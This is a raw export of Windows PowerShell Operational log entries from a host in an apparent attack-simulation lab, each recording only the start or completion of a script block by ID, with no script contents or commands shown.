SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048909
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048908
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048907
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048906
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048890
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048889
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048884
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048883
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048861
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
